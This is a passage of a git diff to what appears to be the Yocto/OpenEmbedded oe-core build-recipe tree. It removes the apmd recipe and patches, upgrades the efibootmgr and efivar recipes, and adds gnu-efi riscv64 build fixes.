-- (time(0) < time_limit)
-+ (countdown >= 0)
- || (proxy_timeout < 0)
- );
-
- APMD_SYSLOG(LOG_NOTICE, "Proxy has been running more than %d seconds; killing it", proxy_timeout);
-
- kill(pid, SIGTERM);
-- time_limit = time(0) + 5;
-+ countdown = 5;
- do {
- retval = waitpid(pid, &status, WNOHANG);
- if (retval == pid)
-@@ -392,9 +393,9 @@ static int call_proxy(apm_event_t event)
- goto proxy_done;
- }
-
-- sleep(1);
-+ while (sleep(1) > 0) ;
-
-- } while (time(0) < time_limit);
-+ } while (countdown >= 0);
-
- kill(pid, SIGKILL);
- status = __W_EXITCODE(0, SIGKILL);
---
-2.1.4
-
diff --git a/meta/recipes-bsp/apmd/apmd/libtool.patch b/meta/recipes-bsp/apmd/apmd/libtool.patch
deleted file mode 100644
index 834ee080a1..0000000000
--- a/meta/recipes-bsp/apmd/apmd/libtool.patch
+++ /dev/null
@@ -1,33 +0,0 @@
-Add by RP to address "unable to infer tagged configuration" error:
- commit 35de05e61b88c0808a5e885bb0efdf420555d5ad
- Author: Richard Purdie <rpurdie@rpsys.net>
- Date: Sun Jun 1 16:13:38 2008 +0000
-
- apmd: Use libtool --tag options to avoid problems with libtool 2.2.4 (from poky)
-
-However I didn't see same issue with current libtool-2.2.10. Also per my understanding,
-the default tag, if not specified, falls back to CC. So disable it from patching, but
-keep it here. If we encounter similar issue in the future, we could then push upstream
-
-Comment added by Kevin Tian <kevin.tian@intel.com>, 2010-07-16
-
-Upstream-Status: Pending
-
-Signed-off-by: Scott Garman <scott.a.garman@intel.com>
-
-Index: apmd-3.2.2.orig/Makefile
-===================================================================
---- apmd-3.2.2.orig.orig/Makefile 2004-01-04 08:13:18.000000000 +0000
-+++ apmd-3.2.2.orig/Makefile 2008-04-21 17:10:03.000000000 +0100
-@@ -58,9 +57,8 @@
- #CFLAGS=-O3 -m486 -fomit-frame-pointer
- #LDFLAGS=-s
-
--LIBTOOL=libtool --quiet
--LT_COMPILE = $(LIBTOOL) --mode=compile $(CC)
--LT_LINK = $(LIBTOOL) --mode=link $(CC)
-+LT_COMPILE = $(LIBTOOL) --tag=CC --mode=compile $(CC)
-+LT_LINK = $(LIBTOOL) --tag=CC --mode=link $(CC)
- LT_INSTALL = $(LIBTOOL) --mode=install install
- LT_CLEAN = $(LIBTOOL) --mode=clean rm
-
diff --git a/meta/recipes-bsp/apmd/apmd/linkage.patch b/meta/recipes-bsp/apmd/apmd/linkage.patch
deleted file mode 100644
index 3d32c49cd2..0000000000
--- a/meta/recipes-bsp/apmd/apmd/linkage.patch
+++ /dev/null
@@ -1,53 +0,0 @@
-When building use the libtool intermediate .lo files instead of explicitly using
-the .o files. Under libtool foo.lo is the libtool intermediate wrapper, foo.o is
-a static build, and .libs/foo.o is a shared build.
-
-If static libraries have been disabled globally then libtool won't generate them
-and explicit references to foo.o won't be satisfied.
-
-Upstream-Status: Pending
-Signed-off-by: Ross Burton <ross.burton@intel.com>
-
-diff --git a/Makefile b/Makefile
-index bb695c6..5f60146 100644
---- a/Makefile
-+++ b/Makefile
-@@ -28,7 +28,7 @@ endif
-
- .SUFFIXES:
-
--OBJS=apmlib.o
-+OBJS=apmlib.lo
- EXES=apm apmd xapm apmsleep
- HEADERS=apm.h
-
-@@ -66,22 +66,22 @@ all: $(EXES)
-
- $(OBJS): $(HEADERS)
-
--%.o: %.c
-+%.lo: %.c
- $(LT_COMPILE) -c $(CPPFLAGS) $(CFLAGS) $(XTRACFLAGS) $<
-
--%: %.o $(LIBAPM)
-+%: %.lo $(LIBAPM)
- $(LT_LINK) -o $@ $< $(LDFLAGS) $(LIBAPM)
-
--xapm.o: xapm.c
-+xapm.lo: xapm.c
- $(LT_COMPILE) -c $(CPPFLAGS) $(CFLAGS) $(XTRACFLAGS) -DNARROWPROTO $<
-
--apmd: apmd.o
-+apmd: apmd.lo
-
--apmsleep: apmsleep.o
-+apmsleep: apmsleep.lo
-
--apmexists: apmexists.o
-+apmexists: apmexists.lo
-
--xapm: xapm.o $(LIBAPM)
-+xapm: xapm.lo $(LIBAPM)
- $(LT_LINK) -o $@ $< $(LDFLAGS) $(LIBAPM) $(XLDFLAGS) $(XLIBS)
-
- $(LIBAPM): apmlib.lo
diff --git a/meta/recipes-bsp/apmd/apmd/unlinux.patch b/meta/recipes-bsp/apmd/apmd/unlinux.patch
deleted file mode 100644
index ec8206cf17..0000000000
--- a/meta/recipes-bsp/apmd/apmd/unlinux.patch
+++ /dev/null
@@ -1,25 +0,0 @@
-copy OE commit message here:
- commit 9456cdc1cf43e3ba9e6d88c63560c1b6fdee4359
- Author: Michael Krelin <hacker@klever.net>
- Date: Tue May 29 12:27:45 2007 +0000
-
- apmd: prevent build from interferring with host kernel headers. Closes #1257
-
-comment added by Kevin Tian <kevin.tian@intel.com>, 2010-07-13
-
-Upstream-Status: Pending
-
-Signed-off-by: Scott Garman <scott.a.garman@intel.com>
-
---- apmd-3.2.2.orig/Makefile
-+++ apmd-3.2.2/Makefile
-@@ -43,8 +43,7 @@
-
- CC=gcc
- CFLAGS=-O -g
--XTRACFLAGS=-Wall -pipe -I. -I/usr/src/linux/include -I/usr/X11R6/include \
-- -I/usr/src/linux-2.2/include -I /usr/src/linux-2.0/include \
-+XTRACFLAGS=-Wall -pipe -I. \
- -DVERSION=\"$(VERSION)\" \
- -DDEFAULT_PROXY_NAME=\"$(PROXY_DIR)/apmd_proxy\"
- LDFLAGS=
diff --git a/meta/recipes-bsp/apmd/apmd/wexitcode.patch b/meta/recipes-bsp/apmd/apmd/wexitcode.patch
deleted file mode 100644
index c5faa85fa7..0000000000
--- a/meta/recipes-bsp/apmd/apmd/wexitcode.patch
+++ /dev/null
@@ -1,26 +0,0 @@
-Define non-posix W* funcitons
-
-C libraries like musl dont define them
-
-Signed-off-by: Khem Raj <raj.khem@gmail.com>
-Upstream-Status: Pending
-
-Index: apmd-3.2.2.orig/apmd.c
-===================================================================
---- apmd-3.2.2.orig.orig/apmd.c
-+++ apmd-3.2.2.orig/apmd.c
-@@ -55,6 +55,14 @@
- #define MINIMUM_RATE_CALC_TIME 120
- #endif
-
-+#ifndef _POSIX_SOURCE
-+
-+#define __WCOREFLAG 0200
-+#define __WCOREDUMP(x) (_W_INT(x) & __WCOREFLAG)
-+#define __W_EXITCODE(ret, sig) ((ret) << 8 | (sig))
-+
-+#endif
-+
- /*
- * For the verbosity level feature to be useful,
- * we rely on the fact that syslog.h assigns adjacent
diff --git a/meta/recipes-bsp/apmd/apmd_3.2.2-15.bb b/meta/recipes-bsp/apmd/apmd_3.2.2-15.bb
deleted file mode 100644
index 82c2649340..0000000000
--- a/meta/recipes-bsp/apmd/apmd_3.2.2-15.bb
+++ /dev/null
@@ -1,85 +0,0 @@
-SUMMARY = "Utilities for Advanced Power Management"
-DESCRIPTION = "The Advanced Power Management (APM) support provides \
-access to battery status information and a set of tools for managing \
-notebook power consumption."
-HOMEPAGE = "http://apenwarr.ca/apmd/"
-SECTION = "base"
-LICENSE = "GPLv2+"
-LIC_FILES_CHKSUM = "file://COPYING;md5=94d55d512a9ba36caa9b7df079bae19f \
- file://apm.h;beginline=6;endline=18;md5=7d4acc1250910a89f84ce3cc6557c4c2"
-DEPENDS = "libtool-cross"
-
-SRC_URI = "http://snapshot.debian.org/archive/debian/20160728T043443Z/pool/main/a/${BPN}/${BPN}_3.2.2.orig.tar.gz;name=tarball \
- file://legacy.patch \
- file://libtool.patch \
- file://unlinux.patch \
- file://wexitcode.patch \
- file://linkage.patch \
- file://init \
- file://default \
- file://apmd_proxy \
- file://apmd_proxy.conf \
- file://apmd.service"
-
-SRC_URI[tarball.md5sum] = "b1e6309e8331e0f4e6efd311c2d97fa8"
-SRC_URI[tarball.sha256sum] = "7f7d9f60b7766b852881d40b8ff91d8e39fccb0d1d913102a5c75a2dbb52332d"
-
-# for this package we're mostly interested in tracking debian patches,
-# and not in the upstream version where all development has effectively stopped
-UPSTREAM_CHECK_URI = "${DEBIAN_MIRROR}/main/a/apmd/"
-UPSTREAM_CHECK_REGEX = "(?P<pver>((\d+\.*)+)-((\d+\.*)+))\.(diff|debian\.tar)\.(gz|xz)"
-
-S = "${WORKDIR}/apmd-3.2.2.orig"
-
-inherit update-rc.d systemd
-
-INITSCRIPT_NAME = "apmd"
-INITSCRIPT_PARAMS = "defaults"
-
-SYSTEMD_SERVICE_${PN} = "apmd.service"
-SYSTEMD_AUTO_ENABLE = "disable"
-
-EXTRA_OEMAKE = "-e MAKEFLAGS="
-
-do_compile() {
- # apmd doesn't use whole autotools. Just libtool for installation
- oe_runmake "LIBTOOL=${STAGING_BINDIR_CROSS}/${HOST_SYS}-libtool" apm apmd
-}
-
-do_install() {
- install -d ${D}${sysconfdir}
- install -d ${D}${sysconfdir}/apm
- install -d ${D}${sysconfdir}/apm/event.d
- install -d ${D}${sysconfdir}/apm/other.d
- install -d ${D}${sysconfdir}/apm/suspend.d
- install -d ${D}${sysconfdir}/apm/resume.d
- install -d ${D}${sysconfdir}/apm/scripts.d
- install -d ${D}${sysconfdir}/default
- install -d ${D}${sysconfdir}/init.d
- install -d ${D}${sbindir}
- install -d ${D}${bindir}
- install -d ${D}${libdir}
- install -d ${D}${datadir}/apmd
- install -d ${D}${includedir}
-
- install -m 4755 ${S}/.libs/apm ${D}${bindir}/apm
- install -m 0755 ${S}/.libs/apmd ${D}${sbindir}/apmd
- install -m 0755 ${WORKDIR}/apmd_proxy ${D}${sysconfdir}/apm/
- install -m 0644 ${WORKDIR}/apmd_proxy.conf ${D}${datadir}/apmd/
- install -m 0644 ${WORKDIR}/default ${D}${sysconfdir}/default/apmd
- oe_libinstall -so libapm ${D}${libdir}
- install -m 0644 apm.h ${D}${includedir}
-
- sed -e 's,/usr/sbin,${sbindir},g; s,/etc,${sysconfdir},g;' ${WORKDIR}/init > ${D}${sysconfdir}/init.d/apmd
- chmod 755 ${D}${sysconfdir}/init.d/apmd
-
- install -d ${D}${systemd_unitdir}/system
- install -m 0644 ${WORKDIR}/apmd.service ${D}${systemd_unitdir}/system/
- sed -i -e 's,@SYSCONFDIR@,${sysconfdir},g' \
- -e 's,@SBINDIR@,${sbindir},g' ${D}${systemd_unitdir}/system/apmd.service
-}
-
-PACKAGES =+ "libapm apm"
-
-FILES_libapm = "${libdir}/libapm${SOLIBS}"
-FILES_apm = "${bindir}/apm*"
diff --git a/meta/recipes-bsp/efibootmgr/efibootmgr/0001-remove-extra-decl.patch b/meta/recipes-bsp/efibootmgr/efibootmgr/0001-remove-extra-decl.patch
deleted file mode 100644
index 42f3a8182d..0000000000
--- a/meta/recipes-bsp/efibootmgr/efibootmgr/0001-remove-extra-decl.patch
+++ /dev/null
@@ -1,31 +0,0 @@
-From 99b578501643377e0b1994b2a068b790d189d5ad Mon Sep 17 00:00:00 2001
-From: Peter Jones <pjones@redhat.com>
-Date: Wed, 13 Jun 2018 09:41:01 -0400
-Subject: [PATCH] remove extra decl
-
-Signed-off-by: Peter Jones <pjones@redhat.com>
-
-Upstream-Status: Backport [git://github.com/rhinstaller/efibootmgr.git]
-Signed-off-by: Hongxu Jia <hongxu.jia@windriver.com>
-
----
- src/efibootmgr.c | 3 ---
- 1 file changed, 3 deletions(-)
-
-diff --git a/src/efibootmgr.c b/src/efibootmgr.c
-index de38f01..4e1a680 100644
---- a/src/efibootmgr.c
-+++ b/src/efibootmgr.c
-@@ -1536,9 +1536,6 @@ parse_opts(int argc, char **argv)
- "invalid numeric value %s\n",
- optarg);
- }
-- /* XXX efivar-36 accidentally doesn't have a public
-- * header for this */
-- extern int efi_set_verbose(int verbosity, FILE *errlog);
- efi_set_verbose(opts.verbose - 2, stderr);
- break;
- case 'V':
---
-2.7.4
-
diff --git a/meta/recipes-bsp/efibootmgr/efibootmgr/97668ae0bce776a36ea2001dea63d376be8274ac.patch b/meta/recipes-bsp/efibootmgr/efibootmgr/97668ae0bce776a36ea2001dea63d376be8274ac.patch
deleted file mode 100644
index 9525ed8c54..0000000000
--- a/meta/recipes-bsp/efibootmgr/efibootmgr/97668ae0bce776a36ea2001dea63d376be8274ac.patch
+++ /dev/null
@@ -1,83 +0,0 @@
-From 97668ae0bce776a36ea2001dea63d376be8274ac Mon Sep 17 00:00:00 2001
-From: Peter Jones <pjones@redhat.com>
-Date: Wed, 6 Mar 2019 13:08:33 -0500
-Subject: [PATCH] Make sure PKGS= is propogated into the submake for "make
- deps"
-
-When we're doing make deps with "$(CC) -MF", gcc and clang have different
-behavior, both broken in different ways, which we're hitting because of a
-missing -I argument for libefivar's includes. On clang, when a header can't
-be found, it emits a rule with the header as a prerequisite without a path,
-such as efivar.h here:
-
-efibootmgr.o: efibootmgr.c fix_coverity.h efivar.h efiboot.h \
- /home/pjones/devel/github.com/efibootmgr/master/src/include/list.h \
- /home/pjones/devel/github.com/efibootmgr/master/src/include/efi.h \
- /home/pjones/devel/github.com/efibootmgr/master/src/include/unparse_path.h \
- /home/pjones/devel/github.com/efibootmgr/master/src/include/efibootmgr.h \
- error.h
-
-Then the build that utilizes that rule will fail to find the
-prerequisite and tell you something like:
-
-make[1]: *** No rule to make target 'efivar.h', needed by 'efibootmgr.o'. Stop.
-make[1]: Leaving directory '/home/pjones/devel/github.com/efibootmgr/master/src'
-
-With gcc, when a header can't be found, it emits a rule without that header
-as a prerequisite, as such (again with efivar.h):
-
-efibootmgr.o: efibootmgr.c fix_coverity.h \
- /home/pjones/devel/github.com/efibootmgr/master/src/include/list.h \
- /home/pjones/devel/github.com/efibootmgr/master/src/include/efi.h \
- /home/pjones/devel/github.com/efibootmgr/master/src/include/unparse_path.h \
- /home/pjones/devel/github.com/efibootmgr/master/src/include/efi.h \
- /home/pjones/devel/github.com/efibootmgr/master/src/include/efibootmgr.h \
- error.h
-
-And then your build will fail if you haven't adjusted CFLAGS to tell it
-where to find the header.
-
-Both of these would be better just erroring, but at least gcc's doesn't
-insert a *wrong* dependency.
-
-This patch adds "PKGS=efivar efibootmgr popt" for all deps under src/.
-Technically that's overkill, as efibootmgr itself doesn't need popt, but it
-doesn't hurt anything to have the extra part there. The resulting
-.efibootmgr.d file has the prerequisites expressed correctly:
-
-efibootmgr.o: efibootmgr.c fix_coverity.h /usr/include/efivar/efivar.h \
- /usr/include/efivar/efiboot.h \
- /home/pjones/devel/github.com/efibootmgr/master/src/include/list.h \
- /home/pjones/devel/github.com/efibootmgr/master/src/include/efi.h \
- /home/pjones/devel/github.com/efibootmgr/master/src/include/unparse_path.h \
- /home/pjones/devel/github.com/efibootmgr/master/src/include/efi.h \
- /home/pjones/devel/github.com/efibootmgr/master/src/include/efibootmgr.h \
- error.h
-
-This fixes the issue described in github PR #96
-
-Signed-off-by: Peter Jones <pjones@redhat.com>
-Upstream-Status: Backport [https://github.com/rhboot/efibootmgr/commit/97668ae0bce776a36ea2001dea63d376be8274ac]
----
- src/Makefile | 7 ++++++-
- 1 file changed, 6 insertions(+), 1 deletion(-)
-
-diff --git a/src/Makefile b/src/Makefile
-index 258bac1..32fa188 100644
---- a/src/Makefile
-+++ b/src/Makefile
-@@ -31,8 +31,13 @@ efibootdump : PKGS=efivar efiboot popt
- efibootnext : $(call objects-of,$(EFIBOOTNEXT_SOURCES))
- efibootnext : PKGS=efivar efiboot popt
-
-+deps : PKGS=efivar efiboot popt
- deps : $(ALL_SOURCES)
-- $(MAKE) -f $(TOPDIR)/Make.deps deps SOURCES="$(ALL_SOURCES)" SUBDIR_CFLAGS="$(SUBDIR_CFLAGS)"
-+ $(MAKE) -f $(TOPDIR)/Make.deps \
-+ SOURCES="$(ALL_SOURCES)" \
-+ SUBDIR_CFLAGS="$(SUBDIR_CFLAGS)" \
-+ PKGS="$(PKGS)" \
-+ deps
-
- clean :
- @rm -rfv *.o *.a *.so $(TARGETS)
diff --git a/meta/recipes-bsp/efibootmgr/efibootmgr_17.bb b/meta/recipes-bsp/efibootmgr/efibootmgr_17.bb
deleted file mode 100644
index 5d6f200a73..0000000000
--- a/meta/recipes-bsp/efibootmgr/efibootmgr_17.bb
+++ /dev/null
@@ -1,35 +0,0 @@
-DESCRIPTION = "Linux user-space application to modify the EFI Boot Manager."
-SUMMARY = "EFI Boot Manager"
-HOMEPAGE = "https://github.com/rhboot/efibootmgr"
-SECTION = "base"
-
-LICENSE = "GPLv2+"
-LIC_FILES_CHKSUM = "file://COPYING;md5=0636e73ff0215e8d672dc4c32c317bb3"
-
-DEPENDS = "efivar popt"
-
-COMPATIBLE_HOST = "(i.86|x86_64|arm|aarch64).*-linux"
-
-SRC_URI = "git://github.com/rhinstaller/efibootmgr.git;protocol=https \
- file://0001-remove-extra-decl.patch \
- file://97668ae0bce776a36ea2001dea63d376be8274ac.patch \
- "
-SRCREV = "e067160ecef8208e1944002e5d50b275733211fb"
-
-S = "${WORKDIR}/git"
-
-inherit pkgconfig
-
-# The directory under the ESP that the default bootloader is found in. When
-# wic uses a subdirectory, this should use the same one too.
-EFIDIR ?= "/"
-
-EXTRA_OEMAKE += "'EFIDIR=${EFIDIR}'"
-
-CFLAGS += " -Wno-error"
-
-do_install () {
- oe_runmake install DESTDIR="${D}"
-}
-
-CLEANBROKEN = "1"
diff --git a/meta/recipes-bsp/efibootmgr/efibootmgr_18.bb b/meta/recipes-bsp/efibootmgr/efibootmgr_18.bb
new file mode 100644
index 0000000000..fbd2f5dbc8
--- /dev/null
+++ b/meta/recipes-bsp/efibootmgr/efibootmgr_18.bb
@@ -0,0 +1,32 @@
+DESCRIPTION = "Linux user-space application to modify the EFI Boot Manager."
+SUMMARY = "EFI Boot Manager"
+HOMEPAGE = "https://github.com/rhboot/efibootmgr"
+SECTION = "base"
+
+LICENSE = "GPL-2.0-or-later"
+LIC_FILES_CHKSUM = "file://COPYING;md5=0636e73ff0215e8d672dc4c32c317bb3"
+
+DEPENDS = "efivar popt"
+
+COMPATIBLE_HOST = "(i.86|x86_64|arm|aarch64).*-linux"
+
+SRC_URI = "git://github.com/rhinstaller/efibootmgr.git;protocol=https;branch=main"
+SRCREV = "c3f9f0534e32158f62c43564036878b93b9e0fd6"
+
+S = "${WORKDIR}/git"
+
+inherit pkgconfig
+
+# The directory under the ESP that the default bootloader is found in. When
+# wic uses a subdirectory, this should use the same one too.
+EFIDIR ?= "/"
+
+EXTRA_OEMAKE += "'EFIDIR=${EFIDIR}'"
+
+CFLAGS += " -Wno-error"
+
+do_install () {
+ oe_runmake install DESTDIR="${D}"
+}
+
+CLEANBROKEN = "1"
diff --git a/meta/recipes-bsp/efivar/efivar/0001-docs-do-not-build-efisecdb-manpage.patch b/meta/recipes-bsp/efivar/efivar/0001-docs-do-not-build-efisecdb-manpage.patch
new file mode 100644
index 0000000000..cb30d3c430
--- /dev/null
+++ b/meta/recipes-bsp/efivar/efivar/0001-docs-do-not-build-efisecdb-manpage.patch
@@ -0,0 +1,26 @@
+From f39a1481a9e465387901d52b07ae56dedcc3838b Mon Sep 17 00:00:00 2001
+From: Alexander Kanavin <alex@linutronix.de>
+Date: Sun, 16 Jan 2022 18:25:33 +0100
+Subject: [PATCH] docs: do not build efisecdb manpage
+
+It requires mandoc, which oe-core does not have.
+
+Upstream-Status: Inappropriate [oe-core specific]
+Signed-off-by: Alexander Kanavin <alex@linutronix.de>
+---
+ docs/Makefile | 2 +-
+ 1 file changed, 1 insertion(+), 1 deletion(-)
+
+diff --git a/docs/Makefile b/docs/Makefile
+index c9bf585..91a6078 100644
+--- a/docs/Makefile
++++ b/docs/Makefile
+@@ -5,7 +5,7 @@ include $(TOPDIR)/src/include/version.mk
+ include $(TOPDIR)/src/include/rules.mk
+ include $(TOPDIR)/src/include/defaults.mk
+
+-MAN1TARGETS = efisecdb.1 \
++MAN1TARGETS = \
+ efivar.1
+
+ MAN3TARGETS = efi_append_variable.3 \
diff --git a/meta/recipes-bsp/efivar/efivar/no-werror.patch b/meta/recipes-bsp/efivar/efivar/no-werror.patch
deleted file mode 100644
index 50a0b1023a..0000000000
--- a/meta/recipes-bsp/efivar/efivar/no-werror.patch
+++ /dev/null
@@ -1,18 +0,0 @@
-Don't use -Werror because newer compilers introduce newer warnings.
-
-Upstream-Status: Inappropriate [https://github.com/rhboot/efivar/issues/131]
-Signed-off-by: Ross Burton <ross.burton@intel.com>
-
-diff --git a/gcc.specs b/gcc.specs
-index 45d43d1..1baf11a 100644
---- a/gcc.specs
-+++ b/gcc.specs
-@@ -2,7 +2,7 @@
- + -D_GNU_SOURCE
-
- *efivar_cpp_options:
-- -Werror -Wall -std=gnu11 -Wextra
-+ -Wall -std=gnu11 -Wextra
-
- *cpp_options:
- + %(efivar_cpp_options)
diff --git a/meta/recipes-bsp/efivar/efivar_37.bb b/meta/recipes-bsp/efivar/efivar_37.bb
deleted file mode 100644
index 9b95721a4e..0000000000
--- a/meta/recipes-bsp/efivar/efivar_37.bb
+++ /dev/null
@@ -1,40 +0,0 @@
-SUMMARY = "Tools to manipulate UEFI variables"
-DESCRIPTION = "efivar provides a simple command line interface to the UEFI variable facility"
-HOMEPAGE = "https://github.com/rhboot/efivar"
-
-LICENSE = "LGPLv2.1+"
-LIC_FILES_CHKSUM = "file://COPYING;md5=6626bb1e20189cfa95f2c508ba286393"
-
-COMPATIBLE_HOST = "(i.86|x86_64|arm|aarch64).*-linux"
-
-SRC_URI = "git://github.com/rhinstaller/efivar.git \
- file://no-werror.patch"
-SRCREV = "c1d6b10e1ed4ba2be07f385eae5bceb694478a10"
-
-S = "${WORKDIR}/git"
-
-inherit pkgconfig
-
-export CCLD_FOR_BUILD = "${BUILD_CCLD}"
-
-# Upstream uses --add-needed in gcc.specs which gold doesn't support, so
-# enforce BFD.
-LDFLAGS += "-fuse-ld=bfd"
-
-do_compile_prepend() {
- # Remove when https://github.com/rhboot/efivar/issues/130 is fixed
- oe_runmake \
- CFLAGS="${BUILD_CFLAGS}" \
- LDFLAGS="${BUILD_LDFLAGS}" \
- -C src makeguids
-}
-
-do_install() {
- oe_runmake install DESTDIR=${D}
-}
-
-BBCLASSEXTEND = "native"
-
-RRECOMMENDS_${PN}_class-target = "kernel-module-efivarfs"
-
-CLEANBROKEN = "1"
diff --git a/meta/recipes-bsp/efivar/efivar_39.bb b/meta/recipes-bsp/efivar/efivar_39.bb
new file mode 100644
index 0000000000..aab319be91
--- /dev/null
+++ b/meta/recipes-bsp/efivar/efivar_39.bb
@@ -0,0 +1,34 @@
+SUMMARY = "Tools to manipulate UEFI variables"
+DESCRIPTION = "efivar provides a simple command line interface to the UEFI variable facility"
+HOMEPAGE = "https://github.com/rhboot/efivar"
+
+LICENSE = "LGPL-2.1-or-later"
+LIC_FILES_CHKSUM = "file://COPYING;md5=6626bb1e20189cfa95f2c508ba286393"
+
+COMPATIBLE_HOST = "(i.86|x86_64|arm|aarch64).*-linux"
+
+SRC_URI = "git://github.com/rhinstaller/efivar.git;branch=main;protocol=https \
+ file://0001-docs-do-not-build-efisecdb-manpage.patch \
+ "
+SRCREV = "c47820c37ac26286559ec004de07d48d05f3308c"
+PV .= "+39+git"
+
+S = "${WORKDIR}/git"
+
+inherit pkgconfig
+
+export CCLD_FOR_BUILD = "${BUILD_CCLD}"
+
+do_compile() {
+ oe_runmake ERRORS= HOST_CFLAGS="${BUILD_CFLAGS}" HOST_LDFLAGS="${BUILD_LDFLAGS}"
+}
+
+do_install() {
+ oe_runmake install DESTDIR=${D}
+}
+
+BBCLASSEXTEND = "native"
+
+RRECOMMENDS:${PN}:class-target = "kernel-module-efivarfs"
+
+CLEANBROKEN = "1"
diff --git a/meta/recipes-bsp/formfactor/files/qemuppc64/machconfig b/meta/recipes-bsp/formfactor/files/qemuppc64/machconfig
new file mode 100755
index 0000000000..e4717730ea
--- /dev/null
+++ b/meta/recipes-bsp/formfactor/files/qemuppc64/machconfig
@@ -0,0 +1,10 @@
+HAVE_TOUCHSCREEN=0
+HAVE_KEYBOARD=0
+
+DISPLAY_CAN_ROTATE=0
+DISPLAY_ORIENTATION=0
+#DISPLAY_WIDTH_PIXELS=640
+#DISPLAY_HEIGHT_PIXELS=480
+#DISPLAY_BPP=16
+DISPLAY_DPI=150
+DISPLAY_SUBPIXEL_ORDER=vrgb
diff --git a/meta/recipes-bsp/formfactor/formfactor_0.0.bb b/meta/recipes-bsp/formfactor/formfactor_0.0.bb
index ea1fa4c754..1eaf30746b 100644
--- a/meta/recipes-bsp/formfactor/formfactor_0.0.bb
+++ b/meta/recipes-bsp/formfactor/formfactor_0.0.bb
@@ -5,7 +5,6 @@ build system cannot obtain from other sources such as the kernel."
SECTION = "base"
LICENSE = "MIT"
LIC_FILES_CHKSUM = "file://${COREBASE}/meta/COPYING.MIT;md5=3da9cfbcb788c80a0384361b4de20420"
-PR = "r45"
SRC_URI = "file://config file://machconfig"
S = "${WORKDIR}"
diff --git a/meta/recipes-bsp/gnu-efi/gnu-efi/0001-riscv64-adjust-type-definitions.patch b/meta/recipes-bsp/gnu-efi/gnu-efi/0001-riscv64-adjust-type-definitions.patch
new file mode 100644
index 0000000000..3475606264
--- /dev/null
+++ b/meta/recipes-bsp/gnu-efi/gnu-efi/0001-riscv64-adjust-type-definitions.patch
@@ -0,0 +1,34 @@
+From 1de509497826faa0ad84b82f5e2c3d21ee613459 Mon Sep 17 00:00:00 2001
+From: Moody Liu <mooodyhunter@outlook.com>
+Date: Sat, 13 May 2023 17:39:16 +0100
+Subject: [PATCH] riscv64: adjust type definitions
+
+CHAR8 needs to be defined while BOOLEAN should be removed
+here to prevent typedef conflicts
+
+Upstream-Status: Backport [https://sourceforge.net/p/gnu-efi/code/ci/1de509497826faa0ad84b82f5e2c3d21ee613459/]
+Signed-off-by: Moody Liu <mooodyhunter@outlook.com>
+---
+ inc/riscv64/efibind.h | 4 +---
+ 1 file changed, 1 insertion(+), 3 deletions(-)
+
+diff --git a/inc/riscv64/efibind.h b/inc/riscv64/efibind.h
+index 4fdf81d..d8b4f39 100644
+--- a/inc/riscv64/efibind.h
++++ b/inc/riscv64/efibind.h
+@@ -32,11 +32,9 @@ typedef uint16_t UINT16;
+ typedef int16_t INT16;
+ typedef uint8_t UINT8;
+ typedef int8_t INT8;
++typedef char CHAR8;
+ typedef wchar_t CHAR16;
+ #define WCHAR CHAR16
+-#ifndef BOOLEAN
+-typedef uint8_t BOOLEAN;
+-#endif
+ #undef VOID
+ typedef void VOID;
+ typedef int64_t INTN;
+--
+2.41.0
+
diff --git a/meta/recipes-bsp/gnu-efi/gnu-efi/0001-riscv64-ignore-unknown-relocs.patch b/meta/recipes-bsp/gnu-efi/gnu-efi/0001-riscv64-ignore-unknown-relocs.patch
new file mode 100644
index 0000000000..5b3c152c5e
--- /dev/null
+++ b/meta/recipes-bsp/gnu-efi/gnu-efi/0001-riscv64-ignore-unknown-relocs.patch
@@ -0,0 +1,32 @@
+From 708f66acfec9a86f237726d45095cbd380fd83ca Mon Sep 17 00:00:00 2001
+From: Callum Farmer <gmbr3@opensuse.org>
+Date: Wed, 21 Jun 2023 11:32:28 +0100
+Subject: [PATCH] riscv64: ignore unknown relocs
+
+Sometimes ld emits relocs such as R_RISCV_64 for unwind symbols
+these don't need to be handled yet so just can be skipped otherwise
+the binary will never load
+
+Upstream-Status: Backport [https://sourceforge.net/p/gnu-efi/code/ci/708f66acfec9a86f237726d45095cbd380fd83ca/]
+Signed-off-by: Callum Farmer <gmbr3@opensuse.org>
+---
+ gnuefi/reloc_riscv64.c | 3 +--
+ 1 file changed, 1 insertion(+), 2 deletions(-)
+
+diff --git a/gnuefi/reloc_riscv64.c b/gnuefi/reloc_riscv64.c
+index 0b02d83..e429602 100644
+--- a/gnuefi/reloc_riscv64.c
++++ b/gnuefi/reloc_riscv64.c
+@@ -81,8 +81,7 @@ EFI_STATUS EFIAPI _relocate(long ldbase, Elf_Dyn *dyn)
+ *addr = ldbase + rel->r_addend;
+ break;
+ default:
+- /* Panic */
+- while (1) ;
++ break;
+ }
+ rel = (Elf_Rela *)((char *)rel + relent);
+ relsz -= relent;
+--
+2.41.0
+
diff --git a/meta/recipes-bsp/gnu-efi/gnu-efi/lib-Makefile-fix-parallel-issue.patch b/meta/recipes-bsp/gnu-efi/gnu-efi/lib-Makefile-fix-parallel-issue.patch
deleted file mode 100644
index dc00b8fa4d..0000000000
--- a/meta/recipes-bsp/gnu-efi/gnu-efi/lib-Makefile-fix-parallel-issue.patch
+++ /dev/null
@@ -1,38 +0,0 @@
-From 3ec8c2a70304eabd5760937a4ec3fbc4068a77ed Mon Sep 17 00:00:00 2001
-From: Robert Yang <liezhi.yang@windriver.com>
-Date: Thu, 23 Apr 2015 01:49:31 -0700
-Subject: [PATCH 2/3] lib/Makefile: fix parallel issue
-
-Fixed:
-Assembler messages:
-Fatal error: can't create runtime/rtlock.o: No such file or directory
-Assembler messages:
-Fatal error: can't create runtime/rtdata.o: No such file or directory
-Assembler messages:
-Fatal error: can't create runtime/vm.o: No such file or directory
-Assembler messages:
-Fatal error: can't create runtime/efirtlib.o: No such file or directory
-
-Upstream-Status: Pending
-
-Signed-off-by: Robert Yang <liezhi.yang@windriver.com>
----
- lib/Makefile | 2 ++
- 1 file changed, 2 insertions(+)
-
-diff --git a/lib/Makefile b/lib/Makefile
-index 048751a..ed39bbb 100644
---- a/lib/Makefile
-+++ b/lib/Makefile
-@@ -74,6 +74,8 @@ all: libsubdirs libefi.a
- libsubdirs:
- for sdir in $(SUBDIRS); do mkdir -p $$sdir; done
-
-+$(OBJS): libsubdirs
-+
- libefi.a: $(OBJS)
- $(AR) $(ARFLAGS) $@ $(OBJS)
-
---
-2.7.4
-
diff --git a/meta/recipes-bsp/gnu-efi/gnu-efi/no-werror.patch b/meta/recipes-bsp/gnu-efi/gnu-efi/no-werror.patch
new file mode 100644
index 0000000000..db2bcf70b7
--- /dev/null
